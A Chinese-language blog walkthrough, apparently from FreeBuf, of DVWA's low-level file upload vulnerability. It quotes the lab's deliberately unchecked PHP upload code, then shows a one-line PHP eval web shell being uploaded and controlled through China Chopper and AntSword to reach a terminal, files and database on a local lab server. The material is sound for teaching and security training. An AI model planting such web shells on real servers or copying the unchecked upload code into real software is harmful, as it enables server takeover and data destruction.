File Upload(文件上传)漏洞:
由于对用户上传文件的类型、内容没有进行严格的审查,使得攻击者可以通过上传含有执行脚本的木马文件操纵服务器,因此文件上传漏洞带来的危害常常是毁灭性的。
low级别:
<?php
if( isset( $_POST[ ‘Upload’ ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . “hackable/uploads/”;
$target_path .= basename( $_FILES[ ‘uploaded’ ][ ‘name’ ] );// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ ‘uploaded’ ][ ‘tmp_name’ ], $target_path ) ) {
// No
echo ‘<pre>Your image was not uploaded.</pre>’;
}
else {
// Yes!
echo “<pre>{$target_path} succesfully uploaded!</pre>”;
}
}?>
源代码分析:
代码流程:
文件上传文件后,文件直接保存,保存路径为hackable/uploads/,文件上传成功后,返回succesfully。
函数basename():返回路径中的文件名部分函数
move_uploaded_file ( string $filename , string $destination ):将文件移动到指定地址
防御措施:无
测试方法:
本关没有任何保护措施,上传成功后会返回文件路径地址,可直接上传恶意脚本文件进行攻击
编写一句话木马,注意后缀。
开始上传一句话
显示成功上传,可以到这个路径下去验证
可以看到确实上传成功了,那么我们来试试访问
可以看到,确实可以访问,状态码为200,之所以一片空白,是因为被访问的文件就是写好的hh.php,本来就没有内容。既然可以访问,就要记好这个路径:http://127.0.0.1/hackable/uploads/hh.php
下一步,上中国菜刀:
在空白处右键单击,选添加,然后写入hh/php的访问路径,密码就是hh,由“<?php @eval($_POST[‘hh’]);?>“决定的。最后添加上去
然后选中这天记录,右键单击,选择”文件管理”
哦豁,有点奇怪咯,没连上?
再试试“虚拟终端”:
还没连上,最后再试试数据库管理看看(还没死心)
有毒啊~这个时候一定要头脑清晰
好好想想是哪一步出了错,首先,一句话脚本,就那么简单的一句话,不应该会有问题,再就是访问路径了
可以访问路径也不会有问题的,不用菜刀,直接浏览器是可以访问的,只是被访问的对象本来就没有内容而已。所以,可以排除路径的问题。最后,肯定不是dvwa环境的问题,要是,dvwa有问题,是不可能做到现在这一步的。
那么,真相只有一个!
我有问题。。。
找不出问题是我最大的问题!!!
越是这个时候,心态越不能崩,除了菜刀,还有别的工具可用的,不妨试试,死马当成活马医。
这个工具就是蚁剑
话不多说,上操作:
空白处选择添加数据,一样的url,一样的密码,一样的操作
然后对着这条记录右键单击,选择虚拟终端:
可以看到一些windows系统的信息
然后再看文件管理:
最后再来看看,数据操作
说明,我前面的一句话没写错,路径也没弄错,dvwa环境更没错,所以真正的真相就只有一个!
同样,以上的几个操作,更能验证文件上传漏洞的危害,基本可以说攻击者可以为所欲为了,尤其是那种操作权限开放的,人家直接修改你的数据库或者直接删库。
写在最后
今天先到这里,事情有点多,再加上排错去了,所以时间不够用。后面有空继续,专属我自己的dvwa通关手册即将完成。go!go!go!
来源:freebuf.com 2020-11-04 22:27:02 by: fu福lin林
请登录后发表评论
注册